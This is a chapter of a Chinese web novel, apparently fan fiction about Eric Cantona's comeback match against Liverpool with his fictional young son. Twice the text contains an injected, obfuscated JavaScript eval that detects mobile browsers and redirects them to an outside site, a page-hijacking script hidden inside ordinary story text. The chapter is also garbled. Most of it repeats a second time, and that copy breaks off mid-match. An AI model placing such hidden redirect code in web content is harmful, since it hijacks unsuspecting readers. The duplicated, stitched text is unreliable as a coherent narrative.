明月照影归 作品
17.王者归来（1）
曼彻斯特的天空刚刚泛起鱼肚白，卡灵顿训练基地的大门处已经聚集了二十多名记者。他们搓着手，呵着白气，时不时看向入口处。今天是埃里克·坎通纳禁赛期满后的首次正式训练，没有人想错过这个头条新闻。
坎通纳的黑色奔驰缓缓驶入训练基地时，闪光灯立刻亮成一片。他没有停车，径直开向了球员停车场。后座上，克里斯蒂亚诺揉着惺忪的睡眼，怀里还抱着一个足球。
“爸爸，好多人啊。”小男孩趴着窗户往外看。
坎通纳从后视镜里看了儿子一眼：“今天开始爸爸要正式归队训练了，记得我们说好的吗？”
克里斯蒂亚诺立刻坐直身体：“我会乖乖待在青年队训练场，不打扰你。”说完又忍不住问，“但比赛时我能坐在替补席后面吗？就像以前那样？”
坎通纳停好车，转身揉了揉儿子的头发：“当然可以。不过现在，我们得先吃早餐。”
更衣室里出奇地安静。当坎通纳推门而入时，正在换鞋的吉格斯猛地抬头，脸上露出灿烂的笑容。
“看看这是谁！”威尔士人夸张地张开双臂，“我们的‘海鸥哲学家’回来了！”
更衣室里顿时爆发出一阵笑声和口哨声。基恩走过来，什么也没说，只是用力握了握坎通纳的手。舒梅切尔则扔过来一条毛巾，精准地盖在法国人头上。
“欢迎回来，混蛋。”丹麦门将咧嘴一笑，“禁赛期增重了多少？三公斤？五公斤？”
坎通纳扯下毛巾，露出微笑：“足够在你头上完成帽子戏法的分量。”
更衣室里的气氛顿时轻松起来。队员们一个接一个地上前拥抱或拍打坎通纳的肩膀，就连平时话最少的加里·内维尔也说了句“很高兴你回来了”。
弗格森推门而入时，喧闹声立刻安静下来。苏格兰教练环视更衣室，目光最后落在坎通纳身上。
“九个月没见，”弗格森的声音里带着一丝调侃，“希望你没忘记足球是圆的。”
坎通纳站起身：“我记得它通常是黑白相间的，老板。”
弗格森哼了一声：“幽默感见长。全体注意，半小时后战术会议。埃里克，先跟我来。”
教练办公室里，弗格森关上门，示意坎通纳坐下。
“感觉如何？”
坎通纳活动了下肩膀：“像第一次参加训练的青训球员。”
“紧张？”
“期待。”坎通纳纠正道，“特别是对利物浦的比赛。”
弗格森从抽屉里拿出一份文件：“医疗组的评估报告。你的体能状况比我想象的好，看来社区服务没耽误你保持状态。”
坎通纳想起这九个月来每天清晨的加练，在社区中心的简陋场地上独自练习射门，在雨中带着那帮孩子训练到精疲力尽。“我一直准备着，老板。”
“很好。”弗格森合上文件，“周六对利物浦，你首发。”
坎通纳的手指微微收紧：“确定吗？我九个月没踢正式比赛了。”
弗格森站起身，走到窗前：“你知道为什么海鸥会跟着渔船吗，埃里克？”
坎通纳挑眉：“因为我那句该死的名言？”
“因为它们知道哪里能找到鱼。”弗格森转过身，“而我知道哪里能找到胜利，你就是我的答案，埃里克。九个月也好，九年也罢，曼联需要她的国王。”
战术会议上，坎通纳全神贯注地听着弗格森的布置。当分析到利物浦的防守弱点时，他时不时在笔记本上记下几笔。坐在旁边的基恩瞥了一眼，发现那些笔记旁边还画着几个简笔画小人，明显是给小孩子看的战术示意图。
“给克里斯的？”基恩低声问。
坎通纳点点头：“他总想知道他爸爸在学什么新东西。”
训练场上，坎通纳的状态让所有人都吃了一惊。九个月的禁赛似乎丝毫没有影响他的技术和意识，反而让他看起来更加沉稳。在一次分组对抗中，他用一记精妙的脚后跟传球助攻科尔破门，引来了场边工作人员的掌声。
“见鬼，”舒梅切尔揉着被坎通纳射门震得发麻的手腕，“这家伙是不是偷偷练了什么邪门功夫？”
吉格斯大笑：“我告诉你，那些社区的孩子把他当神一样崇拜。你知道马库斯吗？那个脏辫小子，现在整天嚷嚷着要成为‘坎通纳第二’。”
训练结束后，坎通纳没有像往常一样直接回家，而是走向了青年队的训练场。克里斯蒂亚诺正在和u12的队友们进行小场比赛，看到父亲过来，立刻兴奋地挥手：
“爸爸！看到我刚才那个过人了吗？”
坎通纳走到场边：“看到了，但你的触球太用力了。记住，好的控球就像……”
“……像接住妈妈扔过来的鸡蛋！”克里斯蒂亚诺抢答，“要轻柔！”
坎通纳笑着点头：“没错。继续训练吧，结束后我带你回家。”
回更衣室的路上，坎通纳遇到了曼联的Ceo爱德华兹。
“埃里克，”爱德华兹的表情有些尴尬，“关于董事会之前讨论解除合同的事……”
坎通纳摆摆手：“都过去了，马丁。”
“不，我是想说……”爱德华兹压低声音，“我们准备给你一份新合同。两年，周薪提高20%。弗格森坚持的。”
坎通纳停下脚步：“告诉董事会，我很感激。但让我们先踢完对利物浦的比赛再谈，好吗？”
当天晚上，坎通纳家的晚餐桌上格外热闹。克里斯蒂亚诺喋喋不休地讲述着训练中的每一个细节，艾米莉则微笑着给父子俩添菜。
“爸爸，利物浦的那个门将厉害吗？”小男孩突然问道。
坎通纳切着盘中的牛排：“大卫·詹姆斯？是的，他很出色。”
“那你能进球吗？”
艾米莉轻轻敲了敲儿子的盘子：“克里斯，别给爸爸压力。”
坎通纳却放下刀叉，认真地看着儿子：“我会尽我所能，克里斯。这就是足球，你永远不能保证结果，但可以保证付出全部。”
克里斯蒂亚诺似懂非懂地点点头，然后突然跳下椅子，跑到客厅拿来一张纸：“我给你画了张画！”
画上是穿着曼联球衣的坎通纳，脚下踩着一个红色的足球，旁边写着“世界上最棒的爸爸”。坎通纳小心地接过画，喉咙突然有些发紧。
“谢谢你，克里斯。”他轻声说，“我会把它放在我的更衣柜里。”
夜深人静时，坎通纳独自站在阳台上，望着曼彻斯特的夜空。艾米莉走过来，递给他一杯热茶。
“紧张吗？”她轻声问。
坎通纳接过茶杯，感受着温暖透过陶瓷传递到掌心：“更多的是……不确定。九个月很长，足球世界变化很快。”
艾米莉靠在他肩上：“但有些东西永远不会变。比如你对足球的理解，比如你在关键时刻的冷静……”她抬头看着丈夫，“比如克里斯蒂亚诺对你的崇拜。”
坎通纳抿了一口茶，茶香在口腔中弥漫：“明天我要带他去训练场。弗格森同意让他坐在替补席后面观赛。”
“他一定会高兴坏的。”艾米莉笑着说，“这孩子最近做梦都在说要看爸爸比赛。”
坎通纳望向儿子卧室的窗户，那里贴满了曼联的海报和克里斯蒂亚诺自己画的足球战术图。他突然想起九个月前那个雨夜，自己在塞尔赫斯特公园球场的愤怒一跃。当时的他绝不会想到，这段看似黑暗的禁赛期，反而让他收获了更多——更深的家庭纽带，更清晰的自我认知，以及，或许，一个更好的足球生涯的开端。
“走吧，”他揽住妻子的肩膀，“该休息了。周六还有一场硬仗要打。”
卧室的灯熄灭后，克里斯蒂亚诺悄悄从被窝里爬出来，蹑手蹑脚地走到窗前。他望着满天繁星，小声地说：“请让爸爸进球吧，求求你了。”然后又在胸前画了个十字，补充道：“但如果不能，也没关系，只要他开心就好。”
比赛日清晨，曼彻斯特难得迎来了一个阳光明媚的秋日。坎通纳比往常醒得更早，轻手轻脚地起床，生怕吵醒还在熟睡的艾米莉。他站在浴室的镜子前刮胡子，发现自己的眼神比想象中更加平静。
下楼时，他注意到餐桌上已经摆好了一杯橙汁和一张纸条：给世界上最棒的足球运动员。——爱你的克里斯。纸条旁边还放着一个用橡皮泥捏成的小奖杯。坎通纳小心地拿起那个歪歪扭扭的“奖杯”，嘴角不自觉地上扬。
“我就知道你会早起。”艾米莉的声音从楼梯上传来。她穿着睡袍走下来，手里拿着一件熨烫好的白衬衫。“穿上这个，媒体肯定会围堵你。”
坎通纳接过衬衫：“克里斯呢？”
“还在睡。不过我已经设好闹钟了，保证不会错过比赛。”艾米莉说道。
早餐后，坎通纳独自驱车前往老特拉福德。让他意外的是，尽管距离比赛还有六个小时，球场外已经聚集了不少球迷。他们举着标语和围巾，上面写着“欢迎回来，国王”和“海鸥终会回巢——只有一个坎通纳”。看到他的车经过，球迷们立刻欢呼起来。
更衣室里空无一人。坎通纳走向自己的更衣柜——九个月来第一次，那里挂着他的7号球衣。他伸手抚过光滑的布料，感受着队徽的纹路。然后，他小心地将克里斯蒂亚诺的橡皮泥奖杯和那张画放在柜子最上层。
“我就知道会在这里找到你。”弗格森的声音从门口传来。苏格兰人手里拿着一沓战术资料，“提前五小时到？紧张了？”
坎通纳关上柜门：“只是需要一点安静的时间。”
弗格森走过来，递给他一张纸：“利物浦的首发名单。詹姆斯守门，中场是巴恩斯和麦克马纳曼的组合。我需要你在前场多回撤接应，打乱他们的节奏。”
坎通纳认真地看着名单，点点头：“巴恩斯喜欢前压，他身后的空档可以利用。”
“正是如此。”弗格森拍了拍他的肩膀，“现在，去热身吧。别把自己搞得太紧张，就像训练时那样踢就行。”
距离比赛开始还有两小时，球场外已经聚集了无数球迷，他们高唱着曼联的队歌，挥舞着围巾和旗帜。在众多红色球衣中，不时能看到印有坎通纳名字和7号的球衣——这是禁赛结束后他的第一场比赛，所有人都期待着“国王”的回归。
更衣室里，坎通纳正在仔细地缠绷带。他的动作很慢，仿佛在进行某种仪式。克里斯蒂亚诺坐在旁边的长凳上，眼睛一眨不眨地看着父亲。
“爸爸，你为什么要在脚踝缠这么多层？”
坎通纳停下动作：“为了保护关节，防止受伤。”他拿起一卷新的绷带，“想试试吗？”
小男孩立刻伸出手，学着父亲的样子在手腕上缠了几圈，结果绷带松松垮垮地垂了下来。坎通纳忍不住笑了，他拉过儿子的手，耐心地示范正确的缠绕方法。
“要拉紧，但不能太紧，否则会阻碍血液循环。就像……”他思考了一下，“就像系鞋带，既要牢固又要舒服。”
基恩走进更衣室，看到这一幕挑了挑眉：“现在连绷带都要家传了？”
坎通纳耸耸肩：“基础知识要从小抓起。”
弗格森推门而入，更衣室立刻安静下来。苏格兰人扫视了一圈，目光最后落在坎通纳身上。
“埃里克，准备好了吗？”
坎通纳点点头，站起身活动了下脚踝：“随时可以。”
弗格森露出满意的表情，转向全队：“今天的战术很简单——把球传给埃里克。”
队员们发出一阵轻笑，紧张的气氛顿时缓解了不少。弗格森继续布置具体战术，坎通纳则不时在笔记本上记下重点。克里斯蒂亚诺凑过来，好奇地看着那些复杂的战术符号。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561685|170686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“这是‘跑位’”，坎通纳指着其中一个箭头小声解释，“这是‘传球路线’……”
赛前热身时，老特拉福德的看台已经座无虚席。当坎通纳踏上草皮，整个球场爆发出震耳欲聋的欢呼声。他抬头望向看台，红色的旗帜和围巾汇成海洋，“只有一个坎通纳”的歌声响彻云霄。
“感觉如何？”吉格斯跑过他身边，大声问道。
坎通纳深吸一口气：“像回家。”
坎通纳刻意避开了靠近利物浦球迷的看台，他专注地进行着传球和射门练习，每一脚球都处理得一丝不苟。场边的弗格森观察着他的状态，微微点头。
“看起来状态不错，”助理教练麦克拉伦评价道，“脚步比我想象的轻盈。”
弗格森哼了一声：“我告诉过你，他在社区中心可没闲着。那些孩子把他当免费教练使唤，一周训练五天。”
回到更衣室，弗格森做了最后的战术部署。苏格兰人没有长篇大论，只是简单地说：“九个月来，人们一直在讨论埃里克·坎通纳是否还能踢球。今天，我们要用行动告诉他们答案。”
站在球员通道里，坎通纳深吸一口气。九个月了，他终于要再次踏上这片草地。身后，基恩拍了拍他的肩膀：“别想太多，就当是又一场训练赛。”
坎通纳回头看了看队友们，吉格斯对他眨了眨眼，舒梅切尔做了个鬼脸。他突然意识到，这就是他怀念的感觉——不是掌声，不是进球，而是这种并肩作战的默契。
当广播念出他的名字时，整个老特拉福德爆发出震耳欲聋的欢呼。坎通纳最后一个跑出通道，迎接他的是近五万球迷的呐喊和掌声。看台上，无数写着“欢迎回来，国王”的横幅在挥舞。
比赛开始后，利物浦果然如弗格森预料的那样，对坎通纳进行了重点盯防。每次他拿球，都会有至少两名防守球员上前逼抢。第十五分钟，坎通纳在右路接到基恩的传球，一个漂亮的马赛回旋转身，晃过了扑上来的麦克马纳曼。
“漂亮的摆脱！”解说员惊呼，“看来九个月的禁赛丝毫没有影响坎通纳的技术！”
看台上爆发出热烈的掌声。坎通纳抬头看了眼家属区，克里斯蒂亚诺正激动地跳上跳下，艾米莉则微笑着鼓掌。
上半场进行到第三十分钟，场上比分仍是0-0。坎通纳在前场积极回撤接应，为队友创造了几次不错的机会，但都被利物浦门将詹姆斯化解。在一次角球防守后，利物浦发动快速反击，巴恩斯带球长驱直入，幸好舒梅切尔神勇扑救，才保住了球门不失。
“我们需要进球，”坎通纳在回防时对吉格斯说，“他们的右后卫是个弱点。”
吉格斯点点头：“下次反击时我会提前跑位。”
上半场补时阶段，坎通纳的预言应验了。他在中场抢断成功，立刻送出一记精准的直塞球，吉格斯如离弦之箭般插入禁区，面对出击的詹姆斯冷静推射远角。
“goal！！！曼联1-0领先！坎通纳的助攻，吉格斯的进球！”
坎通纳跑向角旗区，和威尔士人紧紧拥抱。队友们纷纷围上来庆祝，场边的弗格森也难得地露出了笑容。
中场休息时，更衣室里的气氛既兴奋又紧张。
“干得好，埃里克。”弗格森拍拍坎通纳的肩膀，“但别放松，利物浦下半场肯定会反扑。”
坎通纳擦了擦额头的汗水：“他们的左中卫转身慢，我们可以多打他身后。”
下半场开始后，利物浦果然加强了攻势。第五十三分钟，麦克马纳曼在禁区边缘的一脚弧线球险些扳平比分，球擦着横梁飞出底线。曼联门前风声鹤唳，坎通纳不得不频繁回撤参与防守。
第六十七分钟，场上出现了争议性的一幕。坎通纳在突破时被利物浦后卫绊倒，裁判却示意比赛继续。老特拉福德顿时嘘声四起，坎通纳从地上爬起来，没有抱怨，只是拍了拍球衣上的草屑，继续比赛。
“爸爸被犯规了！”克里斯蒂亚诺在场边气愤地喊道，小脸涨得通红。
艾米莉安抚地搂住儿子的肩膀：“裁判也是人，会犯错的。重要的是你爸爸怎么应对。”
正如她所说，坎通纳很快用行动做出了回应。第七十五分钟，他在中场接到舒梅切尔的大脚开球，胸部停球后转身摆脱防守，送出一记四十码外的精准长传，找到了右路插上的贝克汉姆。年轻的小贝传中，科尔头球攻门，被詹姆斯神勇扑出。
“太可惜了！”解说员惋惜道，“坎通纳这脚传球简直妙到毫巅！”
比赛进入最后十分钟，利物浦的攻势更加凶猛。第八十五分钟，巴恩斯的远射打在曼联后卫身上变线，舒梅切尔勉强将球扑出底线。角球开出后，利物浦中卫头球攻门，球直奔死角，舒梅切尔再次做出世界级扑救，单掌将球托出横梁。
场边的弗格森已经坐不住了，不断向第四官员抱怨补时时间。看台上的曼联球迷也开始紧张地唱歌，试图为球队打气。
补时第三分钟，坎通纳在前场抢断成功，带球突入禁区。面对出击的詹姆斯，他冷静地选择了挑射，球划过一道优美的弧线，越过门将头顶……
“砰！”球重重地砸在横梁上弹出底线。
坎通纳跪倒在草地上，双手抱头。整个老特拉福德发出一声巨大的叹息。家属区里，克里斯蒂亚诺失望地捂住脸，艾米莉则紧紧搂住儿子。
裁判终于吹响了终场哨声，曼联1-0战胜利物浦。球员们互相拥抱庆祝，坎通纳则走向场边，将克里斯蒂亚诺抱了起来。
“我们赢了，爸爸！”小男孩兴奋地喊道，完全忘记了刚才的失望。
坎通纳亲了亲儿子的脸颊：“是的，我们赢了。但你知道最重要的是什么吗？”
克里斯蒂亚诺想了想：“你回来了？”
坎通纳微笑着点头：“我回来了。”
坎通纳的黑色奔驰缓缓驶入训练基地时，闪光灯立刻亮成一片。他没有停车，径直开向了球员停车场。后座上，克里斯蒂亚诺揉着惺忪的睡眼，怀里还抱着一个足球。
“爸爸，好多人啊。”小男孩趴着窗户往外看。
坎通纳从后视镜里看了儿子一眼：“今天开始爸爸要正式归队训练了，记得我们说好的吗？”
克里斯蒂亚诺立刻坐直身体：“我会乖乖待在青年队训练场，不打扰你。”说完又忍不住问，“但比赛时我能坐在替补席后面吗？就像以前那样？”
坎通纳停好车，转身揉了揉儿子的头发：“当然可以。不过现在，我们得先吃早餐。”
更衣室里出奇地安静。当坎通纳推门而入时，正在换鞋的吉格斯猛地抬头，脸上露出灿烂的笑容。
“看看这是谁！”威尔士人夸张地张开双臂，“我们的‘海鸥哲学家’回来了！”
更衣室里顿时爆发出一阵笑声和口哨声。基恩走过来，什么也没说，只是用力握了握坎通纳的手。舒梅切尔则扔过来一条毛巾，精准地盖在法国人头上。
“欢迎回来，混蛋。”丹麦门将咧嘴一笑，“禁赛期增重了多少？三公斤？五公斤？”
坎通纳扯下毛巾，露出微笑：“足够在你头上完成帽子戏法的分量。”
更衣室里的气氛顿时轻松起来。队员们一个接一个地上前拥抱或拍打坎通纳的肩膀，就连平时话最少的加里·内维尔也说了句“很高兴你回来了”。
弗格森推门而入时，喧闹声立刻安静下来。苏格兰教练环视更衣室，目光最后落在坎通纳身上。
“九个月没见，”弗格森的声音里带着一丝调侃，“希望你没忘记足球是圆的。”
坎通纳站起身：“我记得它通常是黑白相间的，老板。”
弗格森哼了一声：“幽默感见长。全体注意，半小时后战术会议。埃里克，先跟我来。”
教练办公室里，弗格森关上门，示意坎通纳坐下。
“感觉如何？”
坎通纳活动了下肩膀：“像第一次参加训练的青训球员。”
“紧张？”
“期待。”坎通纳纠正道，“特别是对利物浦的比赛。”
弗格森从抽屉里拿出一份文件：“医疗组的评估报告。你的体能状况比我想象的好，看来社区服务没耽误你保持状态。”
坎通纳想起这九个月来每天清晨的加练，在社区中心的简陋场地上独自练习射门，在雨中带着那帮孩子训练到精疲力尽。“我一直准备着，老板。”
“很好。”弗格森合上文件，“周六对利物浦，你首发。”
坎通纳的手指微微收紧：“确定吗？我九个月没踢正式比赛了。”
弗格森站起身，走到窗前：“你知道为什么海鸥会跟着渔船吗，埃里克？”
坎通纳挑眉：“因为我那句该死的名言？”
“因为它们知道哪里能找到鱼。”弗格森转过身，“而我知道哪里能找到胜利，你就是我的答案，埃里克。九个月也好，九年也罢，曼联需要她的国王。”
战术会议上，坎通纳全神贯注地听着弗格森的布置。当分析到利物浦的防守弱点时，他时不时在笔记本上记下几笔。坐在旁边的基恩瞥了一眼，发现那些笔记旁边还画着几个简笔画小人，明显是给小孩子看的战术示意图。
“给克里斯的？”基恩低声问。
坎通纳点点头：“他总想知道他爸爸在学什么新东西。”
训练场上，坎通纳的状态让所有人都吃了一惊。九个月的禁赛似乎丝毫没有影响他的技术和意识，反而让他看起来更加沉稳。在一次分组对抗中，他用一记精妙的脚后跟传球助攻科尔破门，引来了场边工作人员的掌声。
“见鬼，”舒梅切尔揉着被坎通纳射门震得发麻的手腕，“这家伙是不是偷偷练了什么邪门功夫？”
吉格斯大笑：“我告诉你，那些社区的孩子把他当神一样崇拜。你知道马库斯吗？那个脏辫小子，现在整天嚷嚷着要成为‘坎通纳第二’。”
训练结束后，坎通纳没有像往常一样直接回家，而是走向了青年队的训练场。克里斯蒂亚诺正在和u12的队友们进行小场比赛，看到父亲过来，立刻兴奋地挥手：
“爸爸！看到我刚才那个过人了吗？”
坎通纳走到场边：“看到了，但你的触球太用力了。记住，好的控球就像……”
“……像接住妈妈扔过来的鸡蛋！”克里斯蒂亚诺抢答，“要轻柔！”
坎通纳笑着点头：“没错。继续训练吧，结束后我带你回家。”
回更衣室的路上，坎通纳遇到了曼联的Ceo爱德华兹。
“埃里克，”爱德华兹的表情有些尴尬，“关于董事会之前讨论解除合同的事……”
坎通纳摆摆手：“都过去了，马丁。”
“不，我是想说……”爱德华兹压低声音，“我们准备给你一份新合同。两年，周薪提高20%。弗格森坚持的。”
坎通纳停下脚步：“告诉董事会，我很感激。但让我们先踢完对利物浦的比赛再谈，好吗？”
当天晚上，坎通纳家的晚餐桌上格外热闹。克里斯蒂亚诺喋喋不休地讲述着训练中的每一个细节，艾米莉则微笑着给父子俩添菜。
“爸爸，利物浦的那个门将厉害吗？”小男孩突然问道。
坎通纳切着盘中的牛排：“大卫·詹姆斯？是的，他很出色。”
“那你能进球吗？”
艾米莉轻轻敲了敲儿子的盘子：“克里斯，别给爸爸压力。”
坎通纳却放下刀叉，认真地看着儿子：“我会尽我所能，克里斯。这就是足球，你永远不能保证结果，但可以保证付出全部。”
克里斯蒂亚诺似懂非懂地点点头，然后突然跳下椅子，跑到客厅拿来一张纸：“我给你画了张画！”
画上是穿着曼联球衣的坎通纳，脚下踩着一个红色的足球，旁边写着“世界上最棒的爸爸”。坎通纳小心地接过画，喉咙突然有些发紧。
“谢谢你，克里斯。”他轻声说，“我会把它放在我的更衣柜里。”
夜深人静时，坎通纳独自站在阳台上，望着曼彻斯特的夜空。艾米莉走过来，递给他一杯热茶。
“紧张吗？”她轻声问。
坎通纳接过茶杯，感受着温暖透过陶瓷传递到掌心：“更多的是……不确定。九个月很长，足球世界变化很快。”
艾米莉靠在他肩上：“但有些东西永远不会变。比如你对足球的理解，比如你在关键时刻的冷静……”她抬头看着丈夫，“比如克里斯蒂亚诺对你的崇拜。”
坎通纳抿了一口茶，茶香在口腔中弥漫：“明天我要带他去训练场。弗格森同意让他坐在替补席后面观赛。”
“他一定会高兴坏的。”艾米莉笑着说，“这孩子最近做梦都在说要看爸爸比赛。”
坎通纳望向儿子卧室的窗户，那里贴满了曼联的海报和克里斯蒂亚诺自己画的足球战术图。他突然想起九个月前那个雨夜，自己在塞尔赫斯特公园球场的愤怒一跃。当时的他绝不会想到，这段看似黑暗的禁赛期，反而让他收获了更多——更深的家庭纽带，更清晰的自我认知，以及，或许，一个更好的足球生涯的开端。
“走吧，”他揽住妻子的肩膀，“该休息了。周六还有一场硬仗要打。”
卧室的灯熄灭后，克里斯蒂亚诺悄悄从被窝里爬出来，蹑手蹑脚地走到窗前。他望着满天繁星，小声地说：“请让爸爸进球吧，求求你了。”然后又在胸前画了个十字，补充道：“但如果不能，也没关系，只要他开心就好。”
比赛日清晨，曼彻斯特难得迎来了一个阳光明媚的秋日。坎通纳比往常醒得更早，轻手轻脚地起床，生怕吵醒还在熟睡的艾米莉。他站在浴室的镜子前刮胡子，发现自己的眼神比想象中更加平静。
下楼时，他注意到餐桌上已经摆好了一杯橙汁和一张纸条：给世界上最棒的足球运动员。——爱你的克里斯。纸条旁边还放着一个用橡皮泥捏成的小奖杯。坎通纳小心地拿起那个歪歪扭扭的“奖杯”，嘴角不自觉地上扬。
“我就知道你会早起。”艾米莉的声音从楼梯上传来。她穿着睡袍走下来，手里拿着一件熨烫好的白衬衫。“穿上这个，媒体肯定会围堵你。”
坎通纳接过衬衫：“克里斯呢？”
“还在睡。不过我已经设好闹钟了，保证不会错过比赛。”艾米莉说道。
早餐后，坎通纳独自驱车前往老特拉福德。让他意外的是，尽管距离比赛还有六个小时，球场外已经聚集了不少球迷。他们举着标语和围巾，上面写着“欢迎回来，国王”和“海鸥终会回巢——只有一个坎通纳”。看到他的车经过，球迷们立刻欢呼起来。
更衣室里空无一人。坎通纳走向自己的更衣柜——九个月来第一次，那里挂着他的7号球衣。他伸手抚过光滑的布料，感受着队徽的纹路。然后，他小心地将克里斯蒂亚诺的橡皮泥奖杯和那张画放在柜子最上层。
“我就知道会在这里找到你。”弗格森的声音从门口传来。苏格兰人手里拿着一沓战术资料，“提前五小时到？紧张了？”
坎通纳关上柜门：“只是需要一点安静的时间。”
弗格森走过来，递给他一张纸：“利物浦的首发名单。詹姆斯守门，中场是巴恩斯和麦克马纳曼的组合。我需要你在前场多回撤接应，打乱他们的节奏。”
坎通纳认真地看着名单，点点头：“巴恩斯喜欢前压，他身后的空档可以利用。”
“正是如此。”弗格森拍了拍他的肩膀，“现在，去热身吧。别把自己搞得太紧张，就像训练时那样踢就行。”
距离比赛开始还有两小时，球场外已经聚集了无数球迷，他们高唱着曼联的队歌，挥舞着围巾和旗帜。在众多红色球衣中，不时能看到印有坎通纳名字和7号的球衣——这是禁赛结束后他的第一场比赛，所有人都期待着“国王”的回归。
更衣室里，坎通纳正在仔细地缠绷带。他的动作很慢，仿佛在进行某种仪式。克里斯蒂亚诺坐在旁边的长凳上，眼睛一眨不眨地看着父亲。
“爸爸，你为什么要在脚踝缠这么多层？”
坎通纳停下动作：“为了保护关节，防止受伤。”他拿起一卷新的绷带，“想试试吗？”
小男孩立刻伸出手，学着父亲的样子在手腕上缠了几圈，结果绷带松松垮垮地垂了下来。坎通纳忍不住笑了，他拉过儿子的手，耐心地示范正确的缠绕方法。
“要拉紧，但不能太紧，否则会阻碍血液循环。就像……”他思考了一下，“就像系鞋带，既要牢固又要舒服。”
基恩走进更衣室，看到这一幕挑了挑眉：“现在连绷带都要家传了？”
坎通纳耸耸肩：“基础知识要从小抓起。”
弗格森推门而入，更衣室立刻安静下来。苏格兰人扫视了一圈，目光最后落在坎通纳身上。
“埃里克，准备好了吗？”
坎通纳点点头，站起身活动了下脚踝：“随时可以。”
弗格森露出满意的表情，转向全队：“今天的战术很简单——把球传给埃里克。”
队员们发出一阵轻笑，紧张的气氛顿时缓解了不少。弗格森继续布置具体战术，坎通纳则不时在笔记本上记下重点。克里斯蒂亚诺凑过来，好奇地看着那些复杂的战术符号。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561685|170686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“这是‘跑位’”，坎通纳指着其中一个箭头小声解释，“这是‘传球路线’……”
赛前热身时，老特拉福德的看台已经座无虚席。当坎通纳踏上草皮，整个球场爆发出震耳欲聋的欢呼声。他抬头望向看台，红色的旗帜和围巾汇成海洋，“只有一个坎通纳”的歌声响彻云霄。
“感觉如何？”吉格斯跑过他身边，大声问道。
坎通纳深吸一口气：“像回家。”
坎通纳刻意避开了靠近利物浦球迷的看台，他专注地进行着传球和射门练习，每一脚球都处理得一丝不苟。场边的弗格森观察着他的状态，微微点头。
“看起来状态不错，”助理教练麦克拉伦评价道，“脚步比我想象的轻盈。”
弗格森哼了一声：“我告诉过你，他在社区中心可没闲着。那些孩子把他当免费教练使唤，一周训练五天。”
回到更衣室，弗格森做了最后的战术部署。苏格兰人没有长篇大论，只是简单地说：“九个月来，人们一直在讨论埃里克·坎通纳是否还能踢球。今天，我们要用行动告诉他们答案。”
站在球员通道里，坎通纳深吸一口气。九个月了，他终于要再次踏上这片草地。身后，基恩拍了拍他的肩膀：“别想太多，就当是又一场训练赛。”
坎通纳回头看了看队友们，吉格斯对他眨了眨眼，舒梅切尔做了个鬼脸。他突然意识到，这就是他怀念的感觉——不是掌声，不是进球，而是这种并肩作战的默契。
当广播念出他的名字时，整个老特拉福德爆发出震耳欲聋的欢呼。坎通纳最后一个跑出通道，迎接他的是近五万球迷的呐喊和掌声。看台上，无数写着“欢迎回来，国王”的横幅在挥舞。
比赛开始后，利物浦果然如弗格森预料的那样，对坎通纳进行了重点盯防。每次他拿球，都会有至少两名防守球员上前逼抢。第十五分钟，坎通纳在右路接到基恩的传球，一个漂亮的马赛回旋转身，晃过了扑上来的麦克马纳曼。
“漂亮的摆脱！”解说员惊呼，“看来九个月的禁赛丝毫没有影响坎通纳的技术！”
看台上爆发出热烈的掌声。坎通纳抬头看了眼家属区，克里斯蒂亚诺正激动地跳上跳下，艾米莉则微笑着鼓掌。
上半场进行到第三十分钟，场上比分仍是0-0。坎通纳在前场积极回撤接应，为队友创造了几次不错的机会，但都被利物浦门将詹姆斯化解。在一次角球防守后，利物浦发动快速反击，巴恩斯带球长驱直入，幸好舒梅切尔神勇扑救，才保住了球门不失。
“我们需要进球，”坎通纳在回防时对吉格斯说，“他们的右后卫是个弱点。”
吉格斯点点头：“下次反击时我会提前跑位。”
上半场补时阶段，坎通纳的预言应验了。他在中场抢断成功，立刻送出一记精准的直塞球，吉格斯如离弦之箭般插入禁区，面对出击的詹姆斯冷静推射远角。
“goal！！！曼联1-0领先！坎通纳的助攻，吉格斯的进球！”
坎通纳跑向角旗区，和威尔士人紧紧拥抱。队友们纷纷围上来庆祝，场边的弗格森也难得地露出了笑容。
中场休息时，更衣室里的气氛既兴奋又紧张。
“干得好，埃里克。”弗格森拍拍坎通纳的肩膀，“但别放松，利物浦下半场肯定会反扑。”
坎通纳擦了擦额头的汗水：“他们的左中卫转身慢，我们可以多打他身后。”
下半场开始后，利物浦果然加强了攻势。第五十三分钟，麦克马纳曼在禁区边缘的一脚弧线球险些扳平比分，球擦着横梁飞出底线。曼联门前风声鹤唳，坎通纳不得不频繁回撤参与防守。
第六十七分钟，场上出现了争议性的一幕。坎通纳在突破时被利物浦后卫绊倒，裁判却示意比赛继续。老特拉福德顿时嘘声四起，坎通纳从地上爬起来，没有抱怨，只是拍了拍球衣上的草屑，继续比赛。
“爸爸被犯规了！”克里斯蒂亚诺在场边气愤地喊道，小脸涨得通红。
艾米莉安抚地搂住儿子的肩膀：“裁判也是人，会犯错的。重要的是你爸爸怎么应对。”
